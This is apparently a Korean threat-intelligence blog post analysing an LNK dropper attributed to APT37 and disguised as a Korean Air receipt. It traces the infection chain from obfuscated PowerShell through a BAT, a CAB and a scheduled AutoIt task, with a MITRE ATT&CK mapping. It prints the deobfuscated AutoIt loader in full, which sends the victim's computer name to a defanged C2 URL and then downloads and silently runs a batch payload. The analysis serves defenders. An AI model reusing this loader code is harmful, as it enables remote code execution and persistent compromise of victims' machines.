OSINT 채널 모니터링 중 APT37 그룹이 유포한 것으로 추정되는 EMD 영수증.lnk 파일을 확보했다. 본 글에서는 해당 파일을 분석한다.
* sha256: 117d7bed68749479cc96f44d69426a6fa98c2d1d25946235659a800628a20db4
먼저, 파일 정보는 아래와 같다. lnk 파일처럼 형식을 가지고 있으나 42MB의 매우 큰 용량인 것을 볼 수 있다.

파일 내부는 더미 데이터와 함께 실행할 악성 명령어 코드가 존재한다. lnk 파일 실행 시, 명령어 코드 실행을 통해 미끼 파일과 악성코드를 함께 가져오는 형태로 보여진다.

명령어 코드를 파싱하면 아래와 같다. 특정 변수에 문자열을 할당하고, 변수의 특정 위치를 호출하는 형태로 코드를 만들어내는 형태이다. 이는 이전에 APT37 그룹이 악성코드를 유포할 때 사용했던 방식과 동일하다.

* 관련된 APT37의 악성코드 분석 글은 아래와 같다. 해당 글에서 악성코드를 드롭할 때 사용했던 방식이 위 방식과 동일하다.
https://p3ngdump.tistory.com/183
109. APT37's 공무원증 초안 검토 요청
지난 2025년 07월 17일, 모니터링하던 국내 메일 소스에서 "공무원증 초안 검토 요청.eml"을 탐지하였다. 본 글에서는 해당 악성 메일에 대해 분석한다. 먼저, 메일의 내용은 아래 그림과 같이 작성
p3ngdump.tistory.com
위 그림에서 변수를 호출해 코드를 만드는 부분을 복호화 해 보면 아래와 같은 파워쉘 코드를 획득할 수 있다.

위 파워쉘 코드는 C2 서버로부터 총 2개의 파일을 다운로드 받는다.
1. 미끼 pdf 파일
2. 악성 bat 파일
파일을 다운로드 받는 형태는 C2 서버에 파라미터 realtek, time 과 같은 파라미터 값을 통해 요청을 보내는 방식을 사용한다. C2 서버는 정상적인 서버를 침해, 장악 후 사용하는 것으로 보여진다.
* 요청 url

다운로드되는 미끼 파일은 아래와 같다. EMD 영수증.pdf 이라는 파일명을 가지며 열람 시, 대한항공의 영수증 파일이 나타난다.


실제 악성행위를 수행하는 파일은 함께 다운로드 되는 bat 파일이다. bat 파일은 아래와 같은 형태를 가지고 있다. lnk 파일과 마찬가지로 변수에 문자열을 할당한 뒤, 변수의 특정 위치를 호출해 코드를 완성하는 형태인 것을 볼 수 있다.

lnk 파일과 동일하게 복호화를 수행하면 아래와 같은 명령어 코드를 획득할 수 있다. 해당 코드는 C2 서버의 또 다른 파라미터 값을 통해 cab 파일을 다운로드 한다. 이후 cab 파일을 Users\Public 폴더 아래 압축해제하고 내부에 존재하는 update.exe 파일을 conf.ini 파일과 함께 5분마다 실행시키는 스케쥴러를 등록한다. 이를 통해 공격자는 지속적인 피해자 환경에 대한 침해를 의도한 것으로 보여진다.

다운로드 된 cab 파일을 압축해제하면 InterUserUpdate 폴더 내 아래와 같은 setting 폴더와 update.exe 파일이 존재한다. 이 중 update.exe 파일은 정상적인 AutoIt3 파일이며 악성 행위는 setting 폴더 내 conf.ini를 통해 이루어진다. conf.ini은 인코딩 된 AutoIt 스크립트 파일이다.

conf.ini를 autoit 디코딩 도구를 통해 디코딩을 수행하면 아래와 같은 코드를 볼 수 있다.

디코딩 된 conf.ini 코드는 XOR 인코딩을 통해 난독화 되어있다. 난독화를 해제했을 때는 대략 아래와 같은 코드를 볼 수 있다. 해당 코드는 C2 서버로부터 추가 악성코드를 다운로드 해 피해자 PC에서 실행한다. 코드에는 피해자를 식별할 수 있도록 감염 환경의 컴퓨터명을 식별자로 사용해 요청을 전송한다.
* 현재는 C2 서버 연결 불가능
Global $OCOMERRORHANDLER = ObjEvent("AutoIt.Error", "ErrorHandler")
Global $STREAM_OBJECT = "ADODB.Stream"
Global $STREAM_CHARSET = "windows-1252"
Global $XML_OBJECT = "MSXML2.DOMDocument.6.0"
Global $BASE64_ELEMENT = "b64"
Global $BASE64_DATATYPE = "bin.base64"
Global $HTTP_OBJECT = "WinHttp.WinHttpRequest.5.1"
Global $HTTP_METHOD = "GET"
Global $HTTP_HEADER_NAME = "User-Agent"
Global $ENV_VARIABLE = "COMPUTERNAME"
Global $C2_BASE_URL = "http://ycpatent[.]co[.]kr/GnAjax/check_valid/cache/member.php?auth="
Global $USER_AGENT_VALUE = _
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Edge/137.2.1.0 " & _
Chr(0x1C) & "BtnveKciSgk6//821@ " & _
Chr(0x1C) & "IO\KC3" & Chr(0x1A) & "hjoc*GYarw'" & _
Chr(0x17) & "Jbnpqc91'558,'5*" & _
Chr(0x1C) & Chr(0x1D) & "Xcnkf[4D9,,4,"
Global $DROP_FILE_NAME = "\afdar2342.bat"
Global $HTML_MARKER = "<html"
Func EncodeBase64($input)
Local $stream = ObjCreate($STREAM_OBJECT)
$stream.Type = 2
$stream.Charset = $STREAM_CHARSET
$stream.Open()
$stream.WriteText($input)
$stream.Position = 0
$stream.Type = 1
Local $binary = $stream.Read()
$stream.Close()
Local $xml = ObjCreate($XML_OBJECT)
Local $node = $xml.createElement($BASE64_ELEMENT)
$node.dataType = $BASE64_DATATYPE
$node.nodeTypedValue = $binary
Return $node.text
EndFunc
Func HttpRequest($url, $headerValue)
Local $http = ObjCreate($HTTP_OBJECT)
$http.Open($HTTP_METHOD, $url, False)
$http.SetRequestHeader($HTTP_HEADER_NAME, $headerValue)
$http.Send()
If $http.Status = 200 Then
Return $http.ResponseText
Else
Return SetError(1, 0, "")
EndIf
EndFunc
Func ErrorHandler($err)
EndFunc
Local $computerName = EnvGet($ENV_VARIABLE)
Local $encodedID = EncodeBase64($computerName)
Local $finalURL = $C2_BASE_URL & $encodedID
Local $response = HttpRequest($finalURL, $USER_AGENT_VALUE)
If Not @error Then
If StringLen($response) > 0 Then
If Not StringInStr($response, $HTML_MARKER) Then
Local $dropPath = @ScriptDir & $DROP_FILE_NAME
Local $file = FileOpen($dropPath, 2)
If $file <> -1 Then
FileWrite($file, $response)
FileClose($file)
RunWait($dropPath, "", @SW_HIDE)
FileDelete($dropPath)
EndIf
EndIf
EndIf
EndIf
이후 APT37로 의심되는 공격자는 스케쥴러 동작을 통해 지속적으로 피해자 컴퓨터에 맞춤형 악성코드를 유포하는 것으로 보여진다. 이 행위를 통해 피해자 환경을 완전히 장악하고 피해자 PC를 또 다른 공격의 매개체 혹은 피해자 PC의 중요 정보를 지속적으로 탈취하는 것으로 보여진다.
MITRE ATT&CK
T1204 – User Execution (미끼 문서 실행)
T1204.002 – User Execution: Malicious File (사용자의 LNK 파일 실행)
T1059 – Command and Scripting Interpreter (LNK 내부 Powershell 코드 등의 존재)
T1027 – Obfuscated Files or Information (문자열 변수 할당을 통한 난독화)
T1105 – Ingress Tool Transfer (C2로부터 추가 악성코드, 압축 파일 등 다운로드)
T1071.001 – Application Layer Protocol: Web Protocols (HTTP/HTTPS 기반 통신)
T1584 – Compromise Infrastructure (정상 웹사이트 장악 후 C2로 사용)
T1053.005 – Scheduled Task/Job: Scheduled Task (스케쥴러 등록을 통한 지속성 확보)
T1218 – Signed Binary Proxy Execution (정상 AutoIt3.exe 사용)
T1082 – System Information Discovery (컴퓨터명 기반 피해자 식별)
'Analysis' 카테고리의 다른 글
| 119. UAT-8099's correlation (0) | 2026.01.31 |
|---|---|
| 118. NK's 입찰공고문.pdf (0) | 2026.01.10 |
| 117. Kimsuky's 국세청 위장 피싱 메일 (0) | 2025.11.18 |
| 116. MISP 2.4 --> MISP 2.5 (0) | 2025.11.10 |
| 115. NK's Etherhiding correlation (0) | 2025.10.20 |